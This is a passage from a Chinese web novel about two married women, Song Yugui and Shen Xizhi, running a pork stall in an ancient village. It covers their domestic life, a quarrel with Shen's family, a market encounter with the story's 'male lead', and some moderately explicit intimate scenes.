她的手算不上大,妻子小兔子一样的软处却有些大,一只手有时很难整个包住。 “嗯……妻君?” 沈惜枝忽而被人揉了一下,眼眸水润,茫然回头,腿却先站不住了,软倒在身后人怀里。 “没事,我摸一摸,你揉你的。” 说着,低头亲吻在女子唇角。 沈惜枝眼睛倏然亮了,这是第一次,妻君第一次主动亲她了! 还,还亲在这般亲密的地方! 本就对妻子爱的全心全意,惜枝立刻便有些意动,正想闭上眼睛回吻过去,门被人啪的一声打开,池厢月扯着大嗓子,一点也不把自己当外人,“然后呢,然后还有什么我能做的吗?” “唔” 沈惜枝骤然闷哼一声,宋渝归吓得着急忙慌松了手,已经在心里把池厢月骂个狗血淋头了。 “伤到了吗,进屋我看看?” 她声音急切。 沈惜枝咬着牙缓了一会儿,也就一开始比较疼,缓一缓疼痛的感觉便慢慢散去了。 白着一张小脸对妻子摇摇头,“没事的,你别担心,没有伤到。” 被晾在门口的池厢月一脸无措,大步走过去,“惜枝受伤了?怎么回事,你打惜枝了?” 宋渝归:…… 我的沉默,振聋发聩。 她有多无语,光看表情也能看出来。 沈惜枝瞪了池厢月一眼,对她说这种话有点不高兴,“我妻君才不会打我呢,都怪你进来不敲门。” “我不就在外面洗菇子吗,我以为你们知道的。” 池厢月:天降大锅,我因为进来没敲门隔空把惜枝打伤了? 她满脸写着不敢置信。 又委屈的答应以后进来必定敲门。 沈惜枝背对着池厢月,捂了捂被捏痛的胸口,眼里还有些疼痛引起的水花。 宋渝归心虚,说到底直接捏人的都是她。 “没什么事了,池姑娘,你……闲着没事去外面挑一块肉洗洗吧,我们这很快就好了。” “哦。” 等池厢月又出去了,宋渝归才小心的帮沈惜枝揉了揉,心疼道,“是不是捏疼你了?” 沈惜枝被揉的舒服了,一头扎进妻子怀里,眯起眼睛,“不疼,你多揉揉就不疼了。” “嗯,我帮你揉一揉。” 宋渝归轻轻揉着,沈惜枝长睫微颤,薄唇轻抿。 “舒服吗?” “嗯哼,妻君……” 她不好意思说出舒服这样羞人的话,只能小声哼哼着叫妻君。 宋渝归将她揽在怀里,问她要不要脱了给她看看有没有捏红。 沈惜枝摇摇头,继续靠着她享受,“池姑娘会进来的。” 池厢月是习武之人,脚步轻到几乎听不见,对她来说便有些神出鬼没的,她不敢脱,怕池姑娘突然闯进来,才不给别人看呢。 宋渝归哄她,“池姑娘进来会敲门的,而且我给你挡着门那边,好吗?” 沈惜枝犹犹豫豫,好一会儿才点了头,不过提出要求,“那你一会儿要亲我一下。” …… 真是半点儿亏都不吃。 她疑惑的看了看上面,又看看盈润的胸脯,“亲哪?” 沈惜枝小脸红扑扑,十分贪心,扭了扭身子,“都,都想要。” 在这方面满足妻子,不也是我身为她妻子应该做的吗! “嗯,你想要就可以。” 沈惜枝害羞垂眸,几乎不敢抬眼看她,偏着脸,任由对方挡住了门后开始解她衣裳,然而只解到一半,门被人敲响了,池厢月这次很有礼貌,不得允许就没有进去,只在外面喊,“洗完了,我要进来了。” 宋渝归:…… 刚升起的甜稠气氛毁于一旦,两人都有些慌乱。 最后捂了捂额,果然有些事情还是适合晚上做,青天白日的,老天都不想让她们做成。 她又默不作声给人扣上衣服,“嗯,进来吧,池姑娘。” 池厢月这才推门进来,有些不解,“大白天的你们老是关着门干嘛?” “惜枝怕冷。” “啊,现在已经是春天了还觉得冷吗?惜枝你有点体寒啊。” 她看过去,莫名被人满是幽怨的望了一眼。 还不明白自己又咋了。 但她也不算愚笨,奇怪的在两人身上来回看了好一会儿,见脸侧都有些薄红,忽然灵光一闪,不会是我打扰人家妻妻相处了吧? 差点又忘了,自己的好友是一对磨镜妻妻,她们的关系更加亲密,也是需要空间的。 池厢月嘴角抽了好几下,突然一拍大腿,“对了,我爹还交代了我一点事,我去办一下,半个时辰,半个时辰能,能吃上饭了不?” 沈惜枝犹豫着点头,“自然可以。” “行,那我先走了,半个时辰后我再回来,你们期间……做什么事都行,不用管我。” 她特意强调了半个时辰。 “啊?” 沈惜枝檀口微张,没明白什么事能让她这般着急,连吃饭都得靠后排,过了好一会儿,脸才再度烧起来,扭头钻进宋渝归怀里,“你说……池姑娘是不是看出来了?” “应该是,没关系,你是我的妻子,我们做什么事都很正常,池姑娘就算知道也说不得我们什么,还要不要亲?” 纤长手指紧张的在裙边攥了攥,沈惜枝扭了扭身子,片刻,小幅度点头,“要,要亲。” 衣裳又被解开,露出雪嫩的肌肤来。 幸好没有握青紫,不然又要将淤青揉散,可叫人有的疼了。 一刻钟后,沈惜枝仰着脖子,好不容易才找回些许理智,软着手臂推了推妻子,“好,好了呀,一会儿池姑娘要回来了。” 宋渝归嘴里塞着东西,声音含糊不清,“她半个时辰后才回来。” 半个时辰,也就是一个小时,还能再亲会儿。 沈惜枝被亲的迷迷糊糊,失力靠在墙上,只能依靠妻子。 等池厢月半个多时辰,小心翼翼回来后,面还真快煮好了,加了肉和菇类炒制,所以汤底是金黄的颜色。 沈惜枝微微含着胸,用勺子搅了两把锅,香味在屋内四溢开来。 香的池厢月头都要没了。 第60章 妻君真幼稚 面条汤色浓稠滚烫,一口下去便十分鲜香,池厢月没吃饭,饿着肚子呢,一口接一口吃的着急极了。 宋渝归中午吃过了,不太急,有一搭没一搭的与惜枝说着话。 “唔” 骤然响起的闷哼声吸引两人齐齐望去,“怎么了?” 池厢月痛苦摆手,“没事,吃太急咬到嘴了。” 宋渝归、沈惜枝:…… “你吃慢点,没人跟你抢。” “撕,好像咬破了,有点疼,影响我吃饭。” 她嘴上一边说着影响我吃饭,一边吸溜吸溜,连面汤都没有放过,整整吃了三碗才结束。 实在看不出是哪影响了。 “对了,晚上吃什么?我看你们买了鱼回来。” “红烧鱼,胡萝卜丝。” 光是听着红烧鱼,池厢月已经很想吃了,“很久没吃鱼了。” “现在离晚饭还早,我出去玩一会儿,再给你们拔点菌菇炒盘菌菇吧。” 听她要走,宋渝归身子都坐直了,眼睛甚至亮了一下,勉强克制,“嗯,那你慢点走,记得回来吃晚饭,菌菇别乱拔,小心有毒。” 池厢月:你别把我当傻子,我看出你们小妻妻又要亲近了! 她原本气呼呼的快步走出去,但没一会儿,又快步回来了,并无视两人面对面,似乎要亲吻的举动,眼里带着对八卦的兴奋, “惜枝,你娘和你弟来了哎。” 宋渝归听了微微皱眉,“她往我家来的?” 该死,又想来打秋风不成? 宋渝归都准备去隔壁房拿自己的杀猪刀了,池厢月却摇摇头,“不是啊,跟着我爹来的,我们快出去看戏,她正撒泼打滚让我爹收了那个谁沈耀祖呢。” 宋渝归:…… 你热爱八卦的特质还是没变。 “行,那看一会儿吧。” 宋渝归对这等事也有些兴趣,没思考多久便应了。 沈惜枝紧张的站起来,被她摁回原地,“你再坐一会儿。” “我,我也想去看。”她很久没见过自家人撒泼了。 “不会不高兴?” 有时候越是被家庭薄待的女孩儿越渴望亲情,若是出去被骂了什么,怕是又得难过。 可沈惜枝却十分不解,茫然弯了弯脑袋,“为什么要不高兴,我并不在意他们啊,看他们出丑,我或许会心情不错呢。” 早在他们将我嫁出去时,便完全不在意了,嫁与女子,对村里稍微爱护女儿一点的人家来说,都是很难接受的事。 她本就微薄的亲情,早就被几两银子买断了。 沈惜枝靠近妻子,侧首在她暖乎乎的脖颈上埋了一下,软声说,“只要妻君不骂我就好了,你骂我,我就不高兴。 ” 宋渝归:…… 内涵我骂你让你不高兴了? 她轻轻哼了一声,“你若不做错事,我才不骂你呢。” 这沈惜枝无可辩驳,只能用一双水润的眼睛颇为可怜的看着她。 每次说不过就装可怜,宋渝归都习惯了,轻易换了话题放过了她,“那出去看看吧。” 顺手捏了捏媳妇儿的脸。 沈惜枝小脸白的发光,只温软笑着。 池厢月恨自己多事,进来就被人秀的脑袋发昏。 她自然发觉两人相处和之前不一样了。 虽然之前渝归对惜枝也很好,但是亲昵的动作,多是惜枝在做,就算做,也不会太过火,不像现在……她吃饭的时候发现惜枝嘴巴都肿了! 她不知道如何形容自己复杂的心情,大抵是对女子与女子的亲近有了进一步发现,若喜欢与女子亲亲是磨镜行为,那那一次…… 池厢月的眼神也逐渐复杂了起来。 三人一同走出去,王氏与沈耀祖刚好跟在池景明身后来到小土坡。 王氏正撒着泼让池景明必须收了沈耀祖,忽而见沈惜枝出来,还跟那池景明的女儿一起出来,先是想起上回丢的面儿,下意识恶狠狠瞪了她一眼,紧接着又反应过来她和池家有交情,连忙说,“惜枝,你还不快向池姑娘帮你弟弟求个情,都是一家人,你怎如此不顾父母兄弟亲情!简直就是白养你这个白眼狼了!” 沈惜枝一出来就被骂,顿时委屈的看了妻子一眼,即使知道她不会伤心,宋渝归还是默默挡在她身前,挡住了王氏看过来满是逼迫的目光,并冷冷回望过去。 王氏想到自己的儿子失去这样好的老师,就是因为她们,顿时气的不行,“你们这群丧良心的,怎么说我也是惜枝的亲娘,你们怎敢对我不孝,自己在这过着好日子,却将我们这个亲娘亲弟当穷亲戚对待,现在还撺掇着池先生不许他收你弟弟为学生,这世间还有没有天理啊!都怪我与我儿平时太过良善,才会被人这样欺负哇!” 王氏说着说着,就在地上坐下了,然后开始打滚。 沈耀祖穿了一身体面长袍,无一处补丁,干干净净,拱手行礼时更是风度翩翩,但这般风度的人,却任由母亲为他做出那么难看,丢脸的事来。 他语气沉痛,“池先生,耀祖因那日之事回家闭门思过,已深刻认识到了错误,还请池先生再给我一次机会!” 沈耀祖态度也是十分谦逊,半点没有之前不把旁人放在眼里的嚣张模样了。 他当时尚有傲气在,认为自己就算不是池景明的学生,换了任何一个老师也能学好,也能考上秀才,举人,乃至状元。 但,换了一个老师后,只听了一堂课,他就知道,不对。 完全没有那等恍然大悟的感觉,先生讲的话,晦涩难懂,他根本听不明白! 为了自己的将来,为了能光耀门楣,他只得过来低头。 池景明无奈的看了一脸看戏的女儿一眼,无视旁边打滚的王氏,只淡淡对沈耀祖说,“你连做人之道都尚未学好,便不要急着读书了,要先学做人,这才是立身之本。” 沈耀祖不明白,做人和读书有什么关系,做人根本就不是老师该在意的,他读书好不就成了? 为什么池先生要如此为难于他! 愤怒之下,沈耀祖眼里忍不住便透出些许怨恨。 池景明注意到,闭了闭眼睛,长叹一声,“你走吧,我是不会收你的。” “就因为我对您的女儿不敬吗!” 听他语气决绝,大概是知道无法回旋,沈耀祖也沉不住气了,问出口的声音有些尖锐又愤愤不平。 不过是一个女儿而已,他未来可是能参加科考的! 即便对她出言不逊几句,又何至如此,况且,那话也不是他说的啊! 沈耀祖自觉冤枉,愈加不服。 池景明看出他人已经坏了,摇摇头,“不,就算不是我女儿也一样,你不该将任何人的付出看做理所应当,不该高高在上,不该自视甚高。” 这都是读书人的大忌。 王氏的声音吵的人耳朵疼。 沈耀祖继续恨恨道,“说来说去,你就是嫌我家穷,没有钱给你送礼,嫌弃我问姐姐要钱交束脩丢了你的脸面,你就是看不起我!” 池景明:…… 你要这么想我也没有办法。 “你的根已经坏了,日后难成大事。” 沈耀祖握紧拳头,原本还算白的脸气得通红,“池先生莫欺少年穷!若来日我功成名就,还望池先生也莫要再来后悔才是!” 他说的信誓旦旦,给池景明都整无语了,看向自家自幼练武,力大无穷的女儿,淡淡道,“将他们带走吧,莫要在此扰了邻里清净。” 池厢月正看着戏呢,忽然被吩咐了事儿,也没推辞,她早就看这些人不爽了,点点头便跳出去,一手拎起撒泼的王氏。 王氏震惊瞪眼,被迫双脚离地,“你,你这小辈竟敢对长辈动手,我要去官府告你!” “你去就是了。” 她毫不在意,并用另一只手拎起沈耀祖,好歹也是一个男人,在她手里竟然丝毫挣脱不掉,吓得瞬间失了风度,吱哇乱叫。 围观群众不由让出一条宽宽的道儿,池厢月就这么把两人一路拎出去了,并警告他们别再过来。 王氏没成想女子也能有这般力气,不由有些惊恐,“耀祖,我们快些回去吧,这都是一群疯子!” 她还是第一次撒泼没能如愿,沈耀祖脸都黑了,不发一言甩袖离开,王氏跟在他后面赶忙走了,今日这一趟真是什么也没得到,还被人骂了一通,都怪那该死的小蹄子。 沈惜枝一直躲在宋渝归后面,探出小脸看戏,偶尔蹙一下眉,好似想到了过往令人不快的事,再抬袖子擦擦脸,妻子就会立马转身安慰她,她陷在妻子的浓情蜜意里,心里甜滋滋的,待看见池厢月跳出去,毫不费力将人一把拎起的时候,没忍住惊呼一声,“呀。” “怎么了?” “池姑娘好大的力气,打人肯定很疼的!” 宋渝归:…… “这是什么话,池姑娘好端端的打人做什么?” 见闹事的两人走了,周围围观之人也很快散去,池景明转身,竟是向宋渝归与沈惜枝道谢。 “多谢你们这几日对月儿的照顾。” 他知道池厢月日日劳烦人家,上人家家里吃饭的事。 宋渝归一直比较怕读书人,看见池景明和看见现代的老师没什么区别,立马老实了,紧张的扯出一个笑脸来,“池先生,我们与池姑娘是好友,应该的。” 可能是他年纪大了,第一次知道好友是以姑娘相称的。 池景明没说什么,只是与两人闲聊两句便回去了,当晚她们就收到了池景明让池厢月带来的一只拔干净毛的鸡。 说是专门饲养的肉鸡,鸡肉紧实,无论炖汤还是炒起来都很好吃。 池厢月眼巴巴,“你们想煎炒还是炖汤?” 两个做法她都喜欢! “一半炖汤一半做炒鸡。” “好好好。” 三人吃了晚饭,又各自回各自的家,第二日还要早起,惜枝非得跟着一起辛苦出摊,大晚上的宋渝归便也没有闹她,拉着她躺下就睡了。 察觉妻子往自己胸口靠的沈惜枝小脸红彤彤,以为要做点什么,起码也得是吃点什么,可谁知,妻子只是将脸枕在她胸口上,不待她的羞涩褪去,平稳的呼吸声就已经传来。 沈惜枝傻眼了。 低下头悄悄去看,只望见一颗毛茸茸黑乎乎的脑袋,她试探性唤她,“妻君?” 回应她的声音含含糊糊,显然困意很深很深了。 …… 为什么自那日之后,妻君再也不对我动手动脚了? 我,我的身体没有吸引力了吗? 也不对啊,妻君白日还亲了我,又吮过那处呢,她分明很喜欢的! 哼,不碰就不碰。 我也不是很想要。 不碰我还能早点睡呢! 沈惜枝想着,闭上眼睛,准备睡觉,好一会儿,又睁开了,可恶,睡不着。 我睡不着! 她悄悄伸手指在妻子脸上捏了两下,责怪她不知满足妻子。 宋渝归困着呢,大约也知道捏她的是谁,晃了晃脑袋躲开,便将整张脸都埋进了女子又大又白又软的兔子里。 有点呼吸不过来,但是很喜欢。 她睡的沉,沈惜枝没能将她弄醒,再不甘心也只得算了,第二日一起来便用欲求不满的眼神瞪着人。 即使屋内昏暗,宋渝归也无法忽视那道视线,无奈走过去,“又怎么了,我的小祖宗,你都快把我看出洞来了。” 沈惜枝抿了抿唇,继续瞪她,小脸气鼓鼓的。 小姑娘脸皮薄,哪好意思说出想要她碰的话啊,就只能自己生闷气,长睫微微下垂,小模样十分惹人心怜。 宋渝归看一眼就不想上班了。 破班谁爱上谁上去,没见我老婆委屈了吗? 她为什么委屈我不知道,但我知道,现在我应该好好哄一哄,抱一抱我老婆! “怎么了小枝儿,谁又惹你不高兴了,是我吗是我吗?”她将人揽到怀里,抱着她坐在床沿上,纤细手掌落在人小腹上,有一下没一下的轻揉。 昨晚都还好好的,起床忽然就不高兴了,不是我还能是谁,但我什么也没做啊,难道就是因为我什么也没做? 宋渝归浑身一凛,她单身多年,哪知道寻常人谈恋爱是什么样的,更何况她和惜枝直接跳过了谈恋爱,成了妻妻。 沈惜枝赌气,鼓了鼓嘴,故意不说,只是轻声哼哼。 哼的人心肠愈软。 声音也愈发温柔,“你上次不是说过,以后心里想什么都告诉我,又反悔了?” 沈惜枝低头抿唇,要说吗。 可是她说出来,好像在主动求欢一样。 若是不说……以妻子的笨蛋程度,她能明白什么啊! 她就是个笨蛋,我不主动说,从来猜不到我心里在想什么。 “惜枝?” 媳妇儿似乎在心里骂她,表情一会儿平静一会儿愤怒的。 沈惜枝这才回过神来,还没来得及说话,就被人抵住柔软的唇瓣亲了一下,对方笑意盈盈与她说,“早安吻,是我忘记了。” 她猜测或许是没有亲亲? 沈惜枝一呆,黑色的凌晨,她小脸红到不行,粉嫩的指尖轻轻蜷了一下。 啊,亲,亲我了,那我就……不生气了吧? 小姑娘害羞的往人身上蹭。 宋渝归心里大为熨帖,又亲了她两下,可不知想到了什么,刚准备抱她的媳妇儿又停住了,手臂收回来,有些苦恼,“亲了我,也不算什么,你本来就会亲我的。” 昨日也亲了,一直都亲的。 宋渝归一懵,“你不是为我没有亲你不高兴吗?” 被沈惜枝怨念的瞪了一眼,她犹豫好一会儿,浑身跟煮熟的虾子一般了,才嗫嚅着,缓缓开口,眼睛水泠泠的,“我,我才不这样小气。” 宋渝归:…… 别胡说,不小气三个字跟你可没有半点关系。 她将人抱到自己腿上面对面坐着,修长手指又不自觉落在女子娇臀上,有一下没一下的揉着。 “嗯哼” 沈惜枝被揉舒服了,又忍不住溢出哼声,接着便是无比委屈的趴在人怀里,不看她的脸,仿佛这样就能少一点羞怯与胆小,咬牙大着胆子道,“你,你都不碰我,你好些日子没有碰我了,是不是腻了呀!” 小姑娘薄唇贴在离妻子肩膀很近很近的位置,她气呼呼想,要是渝归姐姐敢说腻了,她就咬她! 这种送命题,宋渝归怎敢乱答! 她几乎瞬间就坐直了身子,怀里人都被她抱紧的不由挺直腰板。 两条又细又长的腿环在人腰上。 手臂也抱住妻子的脖子,整个人都依赖的挂在她身上了! “我怎么会腻?你简直胡说八道胡言乱语神志不清!” 沈惜枝:…… 是反驳了我,但好像没有让人很高兴的感觉。 她腮帮子又鼓起来了。 极不高兴的瞪她。 宋渝归看不见,手掌在一把纤嫩小腰上拍了拍,“我这样喜欢你,每日都想与你亲近,怎么会腻了你,不许再说这种话了,不是说过了吗,我也喜欢你的,我只是怕晚上闹得太晚,影响早上出摊,小脑瓜还挺能胡思乱想。” 本来只有屁股和腰被打,现在后脑勺也挨了一下。 沈惜枝:气呼呼。 她像是从来没有被爱过的人,难得有一人爱她了,明明心里很高兴,却又总会时不时怅然若失,怀疑这份爱的真实性,当开口质问时得到肯定,她很快又能高兴起来,可高兴不了多久,又要别别扭扭的继续怀疑这份感情的真实性。 有时候宋渝归真想掰开惜枝的小脑袋看看,里面装的是什么,怎么总是笨笨的。 “你真是这样想的吗?” 沈惜枝又有些不信,澄澈的大眼睛直勾勾望着妻子,心底的欢喜却一点点蔓延,看,她又说喜欢我了。 “自然,你下回想要了能不能直接和我说,我就是困得要死都爬起来伺候你,可别再一大早给我脸色看了,我还以为我犯了什么滔天大错呢。” 沈惜枝不好意思,小猫儿一样钻进她怀里,“谁想要了!我才不直说。” 这样显得她好像很喜欢那些事一样,多不好意思呀。 哪有女子会痴缠着那等事的…… “好吧,那为了不叫你胡思乱想的,我日后主动一些?” 她心里思衬着晚上不好,第二日还需早起,便难免疲惫,那就下午吧,下午两人正好都得空,白日宣淫的事她们可没少做。 沈惜枝听她说要主动,眼里闪过一道亮光,既不好意思立马答应,又舍不得拒绝,小嘴张了张,长睫羞怯垂下,只抱住了她,声音愈加温软,“好。” 她只好意思说了这一个字,就不肯再说话了。 雪白的小脸精致粉嫩,今日是个大晴天,不下雨,她便穿了一身格外漂亮的玄白长裙,发髻用一根碧玉簪子固定,美得像仙女一般。 手里提着一只竹编的篮子,“我们再去镇上买点菜,妻君想不想吃牛肉?” “想吃孜然牛肉,你会做吗?” 沈惜枝:…… 又是一个没听过的菜式。 她有些无奈,“你要教我。” “好,明日晚上吃吧,今晚先吃鸡,池姑娘等着呢。” “好。” 今日出发的有些晚了,等她们到镇上,天都亮堂的很,菜场人来人往。 她吩咐惜枝去买五个肉包,自己则推着车进去把肉摆好。 早有老顾客在等着了。 沈惜枝很快买了包子回来,她却连吃也顾不上,“板油算您三十文。” “十八文,您拿好。” 百忙之中也不忘抽空叮嘱沈惜枝,“吃两个,不许少吃。” 沈惜枝已经低头咬了一口了,蔬菜的清香瞬间散出来,宋渝归一闻就不对,扭头,“怎么买了素的,不是让你买肉包吗?” 沈惜枝自顾自吃包子,一点儿不听话,“我喜欢吃青菜的,好吃,不要吃肉的,你要不要尝一尝?真的很好吃。” 话音刚落,宋渝归便侧首,伸长脖子,就着她手里的包子,咬了大大一口,然后被烫的龇牙咧嘴,几乎拿舌头炒了个菜。 沈惜枝呆愣愣看着手里只剩一个底的包子皮,又看看妻子,一时无言。 妻君真幼稚。 “一会儿也给你吃我的,你要多吃肉啊,不然长这么瘦人家还以为我不给你饭吃呢。” “哦,好吧。” 沈惜枝低头将那块被咬过的包子皮塞嘴里,小手捂着嘴巴,鼓着腮帮子嚼,模样认真的有一点可爱了。【你现在阅读的是 】 60-70 第61章 勾引 今日的生意不大好,两人卖肉卖到中午时还剩一点,思及今日要吃鸡肉明日要吃牛肉,估摸着猪肉吃不上,未免浪费,她们就没回去,还是在镇上继续卖。 没有客人,宋渝归就扭头与沈惜枝说话,“你累不累,无聊吗,要不要去买几支珠钗?” 虽然珠钗价贵,几百文才有好看的,随便买买半日的收入就没了,但养媳妇儿,不该如此吗?! 我媳妇儿自然要漂漂亮亮的才好。 坚定/ 沈惜枝算着想给家里修房子,她也知道妻子的想法,想修青砖瓦房,那便要花更多银子了,她只念着多存点钱,若非今早妻子点名要五个包子,摆明了不许她亏待自己,她都舍不得多买一个。 现在还要她去买珠钗,买什么呀,家里多的是。 小姑娘毫不犹豫便扭头拒绝,又道,“妻君,你饿吗,我去旁边给你买个饼吃好不好?” “嗯,好啊。” 确实有点饿了,宋渝归一点头,沈惜枝便提着裙角去了。 然而,她去是一个人去的,回来时竟然是两个人! 宋渝归见着站在她身边的宋星川,眼睛都瞪直了。 不是,男主不是已经消失在视线里很久了吗? 怎么又出来了? 还和我老婆一起出来,岂有此理! “惜枝。” 宋渝归开口声音不自觉带了几分冷意。 沈惜枝一愣,乖乖走过去,“渝归姐姐,我给你买了肉饼,然后碰见堂弟了。” 冒着热气的肉饼被送到宋渝归手上,她看见自家媳妇儿和男主接触就有些高兴不起来,但并不是对媳妇儿的,因此仍扯了扯嘴角,温柔道,“怎么就买了一个,不给自己买一个吗?” 沈惜枝轻轻摇头,“我不饿。” 早上吃的并不多,怎么会不饿,一听就是想省钱的借口。 宋渝归先看向站在摊子前有些紧张不知所措的宋星川,眉眼微微眯起,带着轻微的打量,“堂弟好久不见,今日怎么有空来镇上?” 听她说话,对方似才知道怎么开口一般,垂了垂眼眸道,“前段时间我阿娘病了,我一直在照顾我阿娘,没怎么出门。” 啊,原来是这样啊,那很正常了,男主是个孝顺孩子来着。 她点了两下头又关心几句婶婶的身体,就默默停了主动,只看着人,她不说话,宋星川也不说话,之后又是无尽的沉默。 两人互相都不知道该怎么说话,就一直安静着,气氛格外尴尬。 宋渝归心中绝望,不是,男主怎么回事,他还不走,是有什么事吗? 还是想与我媳妇儿多待一会儿? 小心翼翼的用余光看媳妇儿。! 心凉半截儿,我媳妇儿竟然在看宋星川! 什么意思,女主也到了,所以剧情开始发力了? 但怎么不从女主开始发力,非要从我媳妇儿开始! 她心里慌的不得了,又想到,是了,小说里就是惜枝先喜欢的男主,然后女主再出现横刀夺爱,什么!我老婆要爱上宋星川了? 救护车,帮我叫一下救护车…… 宋渝归面上表情毫无瑕疵,但她的心态已经要崩了,直到惜枝主动询问,“你是想买肉吗?” 小姑娘什么都不知道,想的很简单,她家是卖肉的,宋星川一直站在这里,不就是为了买肉吗? 他既然要买就快买呀,早点买完我和渝归姐姐还能早点回家呢! 宋星川被沈惜枝一点,才恍然想起自己是来干嘛的,连忙道,“对,我想买肉,麻烦堂姐,来半斤排骨。” 是要买肉啊,吓死我了,我还以为他们一见钟情了。 真是自己吓自己。 宋渝归连忙切了半斤排骨递过去,宋星川沉默的接过排骨走了。 这就走了,刚刚站那么久只是为了买肉而已,虚惊一场。 宋渝归不禁心里埋怨,你要买肉你就说啊,站着不说话等谁当你肚子里的蛔虫呢,真是的。 她愤愤打开妻子给买的肉饼,咬了一口,眼睛一亮,味道不错,肉也厚实,我要去给惜枝也买一个! 饿着肚子陪我卖肉怎么行? 刚起这个想法,准备问问哪买的再去买一个,她便听见惜枝好奇的声音,还有探出来的小脑袋,“妻君,你这个饼闻着好香啊!” 宋渝归猛猛点头,“对啊对啊,特别香,我去给你也买一个?” 已经习惯了自家妻君不解风情,沈惜枝虽然心里有些闷闷的,但也没有生气,直接忽略了最后一句话,抬眸温声问,“我也想吃一口,可以吗?” 宋渝归一时脑子没转过来,“那我去给你买?” 然而接着,沈惜枝也不再等她答应,伸长脖子,便在她吃过的饼上咬了一口。 小姑娘秀气,咬的口子也是小小的,估摸都没尝到多少肉味呢。 宋渝归下意识把饼又往人跟前送了送。 沈惜枝就着她的手,小口小口吃起来,一口就吃那么一点儿,小兔儿都比她吃的多。 但显然饼的味道真的不错,那双圆溜溜的大眼睛也微微眯起了。 很高兴很满足的样子。 吃了小半后,她又将饼推回去,“你也吃,别饿着。” 两人分着将饼吃了,这个饼不大,但要八文钱呢,吃完也不过是垫垫肚子。 “还饿不饿,要不要再买一个?” “不买了,等回去我煮面给你吃吧。” 这样能省一点银子。 煮面比较方便,中午她们若能回去,一般都吃面,要是古代有冰箱就好了,还能一次性多冻点饺子馄饨什么的,每日忙完了回去就下着吃,多好。 “好。” 两人卖到最后,只剩下几块碎骨没有卖完,卖不完就带回家自己吃,反正她们不挑。 两人回去时,池厢月在她们家门口抬头望天,神情分外忧伤,手里还捧着一把雪白的米,时不时有小黄鸡过来啄一下,但总是三三两两的过来,并不饿的样子,怕是已经喂饱了,在吃的是加餐。 “怎么了你,又没吃饭?” 她们今日虽然卖的没有昨日晚,但午饭时间也过的差不多了。 估摸池厢月是等着她们回来,饿的不行了? 池厢月听见宋渝归的声音,头也不瞥,继续一脸生无可恋,声音模糊中含着叹息,“没吃,不想吃了。” “为什么?” 一边打开栅栏推车进去,一边问。 这话没成想还有从池厢月嘴里说出来的一天。 池厢月听她问,瞬间苦着一张脸,悲痛非常,指着自己的嘴巴,“我长疮了!今日一早起来,我嘴巴就好疼,漱口的时候给我眼泪都要疼出来了!” 池厢月习武之人,忍痛能力一向还可以,她都受不住,可见有多疼。 宋渝归无奈,“那你晚上还吃吗?” 晚上? 晚上惜枝要做菜啊。 那眼神一下变得悲愤一下又恶狠狠地,好不容易决定,“吃!我要吃!” 长疮已经够辛苦的了,如果连好吃的都吃不到,她活着还有什么意思? 死了算了! “好吧。” 宋渝归收拾家里,沈惜枝做着午饭,池厢月在外面撑下巴喂鸡,怎么也想不明白,自己为何要遭此大难。 最爱吃的人失去了吃饭的嘴,还有什么比这件事更让人痛苦吗? 屋里,宋渝归闲着没事,想到媳妇儿今早委屈巴巴的控诉,莫名有点蠢蠢欲动,偏池厢月又在外头,哎,多碍事儿啊。 或许是上天听见了宋渝归的埋怨,不消一会儿,宋心雨竟来了。 她站在栅栏外问,“厢月,今天还去山上挖菌子吗?” 池厢月含糊着声音,“好啊,反正也闲着。” 这声音宋渝归再熟悉不过了,她以前也得过口腔溃疡,一疼起来就是这样,说话嘴巴张大一点都受不了,不得不含糊着说话。 等她走了,宋渝归探出脖子在院子里看了一下,然后默默关上木门。 沈惜枝不解,“怎么啦渝归姐姐,这样我看不见啦!” “嗯,光太亮不好。”? 光太亮不好? 这是为何? 沈惜枝从未听过这样的道理。 直到腰间系带,被人手指一勾,轻轻松松散落了,她骤然明白妻子的意思了,小脸红润粉嫩的仿佛上过一层胭脂,扭扭捏捏的靠在桌子上,小声问,“你,你不饿吗?” 她们中午没吃多少哎,妻君平时要吃这么多,真的不饿吗? 宋渝归挑了挑眉,“不饿,我等会儿会自己喝饱的,你饿了吗?” …… 什,什么喝饱啊! 她在说什么话,羞死人了! 不用深想也知道这句喝饱,喝的是什么。 若只是亲一亲那处也便算了,但她总要很大力的吮一吮,仿佛十分口干,她最受不了那般了。 好一会儿,小姑娘才低着头,嗫嚅两下,吐出一句,“不,不饿的。” 不饿的,做什么都可以的。 玄白的长裙被褪下,露出女子娇养了许久,雪白细嫩,前凸后翘的身体。 胸口鼓鼓囊囊,娇臀也是圆润挺翘,形状极好。 宋渝归不敢睁眼,亦不敢看自己,依赖的靠在妻子怀里,声音细若蚊呐,“门栓上了吗?” “嗯,栓上去了。” 她说罢,欲行正事,先是低头亲了沈惜枝一口,接着又卡住她没有毛毛的咯吱窝,往上掂了掂重量,语气似有不满,“怎么这样轻,还是得多吃一点。” 沈惜枝不服,“我已经重了,重了好多呢,再重下去你肯定会不喜欢的。” 本朝无论男子女子都以纤细为美,她才不信妻君真的喜欢胖嘟嘟的呢。 定是骗她的,万一等她真胖了,妻君就不喜欢她了! 到时她哭都来不及,哼! 沈惜枝生气的想。 宋渝归不知小姑娘又在心里污蔑人,对她欢喜极了。 “小枝儿好白,跟小雪人似的。” 她将人揽住,凑近吻了吻娇嫩的唇瓣。 宋渝归红着脸被她缠住,已然是什么都得听她的了。 不知过了多久,沈惜枝才回到第一次让她感觉很安全的床上,先是双眸失神,浑身发颤的盯着床顶,待颤抖褪去,她再抖着手,一点一点,一点去拉被子,手指无力到极致,几次被角都从手心滑落,但她不死心,紧咬着薄唇,非要去拉那被子。 一只修长纤细的手忽然出现,代替柔软无力的她,将被子拉过来,轻轻盖住她的身体。 她看过去,床沿坐了她的妻子,双腿并拢脊背挺直,模样乖巧,眨巴眨巴眼,看起来十足老实。 沈惜枝:!!! 老实个屁! 最不老实的就是她了,她惯会欺负人,尤其是欺负我! 小姑娘连瞪她的力气都没有了,只能努力一点一点,翻过身子,用小屁股对着她。 屁股有点没遮到,白白嫩嫩的,尖儿上还有一个不轻不重的牙印。 宋渝归做个好心人,拉了拉被子,勉强把那道牙印遮住了。 “还生气呢?” 声音温柔的能滴出水来。 沈惜枝只感觉下头是麻的,舌头是麻的,胸口也是麻的! 她都这样了,生气不应该吗?! 就要生气! 宋渝归的声音散在空气里,没有得到回应,她无奈笑了笑,又凑过去,想要亲一亲媳妇儿的小脸,可是媳妇儿生气捂住脸,不许她亲! 今日已经给的太多,太超过了。 沈惜枝小脸红的跟猴屁股似的。 